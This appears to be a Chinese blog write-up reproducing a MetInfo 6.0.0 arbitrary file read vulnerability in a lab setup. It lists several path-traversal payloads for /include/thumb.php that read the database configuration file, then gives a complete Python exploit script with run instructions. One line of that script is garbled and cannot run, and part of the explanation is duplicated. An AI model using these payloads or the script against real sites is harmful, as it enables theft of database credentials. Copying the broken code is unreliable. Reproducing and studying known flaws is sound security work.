metinfo_6.0.0_file-read 任意文件读取漏洞复现

文章目录

    • metinfo_6.0.0_file-read
      • 漏洞描述
      • 漏洞等级
      • 影响版本
      • 漏洞复现
      • 基础环境
      • 漏洞点
      • 漏洞复现
        • 深度利用

metinfo_6.0.0_file-read版本下载

metinfo_6.0.0_file-read

说明 内容
漏洞编号
漏洞名称 MetInfo 6.0.0 任意文件读取漏洞
漏洞评级 高危
影响范围 * MetInfo 6.0.0
漏洞描述 MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案 * 打补丁 升级 上设备

漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

漏洞等级

高危

影响版本

  • MetInfo 6.0.0

漏洞复现

基础环境

组件 版本
OS Microsoft Windows Server 2016 Standard
Web Server phpStudy 2016
MetInfo 6.0.0

漏洞点

/include/thumb.php

漏洞复现

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第1张图片

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第2张图片

进入网站:

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第3张图片

访问漏洞点:/include/thumb.php ,并进行过抓包

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第4张图片

第一次测试

/include/thumb.php?dir=..././http/.././config/config_db.php

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第5张图片

发现没有读到数据库的配置信息

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第6张图片

还是没有读到数据库的配置信息

第三次测试

/include/thumb.php?dir=http/......///......///config/config_db.php

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第7张图片

一样没有读取到数据库的配置信息

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第8张图片

这次我们发现读取到了数据库的配置信息

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。

深度利用

EXP 编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
                                                        - AJEST
Usage: python3 *.py http://10.4.7.130/metinfo_6.0.0
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if " in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

利用过程:

在桌面创建一个exp.py文件,将代码放入进去,然后执行:

sudo python3 *.py http://10.9.75.131/metinfo6.0.0/

解释:

  • sudo 是用来以管理者权限运行命令的关键字。
  • python3 表示要使用 Python 3 解释器来执行脚本。
  • *.py 是一个通配符,表示选择当前目录下所有以 “.py” 结尾的文件。
  • http://10.9.75.131/metinfo6.0.0/ 是目标URL

利用成功

``

解释:

  • sudo 是用来以管理者权限运行命令的关键字。
  • python3 表示要使用 Python 3 解释器来执行脚本。
  • *.py 是一个通配符,表示选择当前目录下所有以 “.py” 结尾的文件。
  • http://10.9.75.131/metinfo6.0.0/ 是目标URL

利用成功

metinfo_6.0.0_file-read 任意文件读取漏洞复现_第9张图片

你可能感兴趣的:(漏洞复现,网络安全,运维,安全)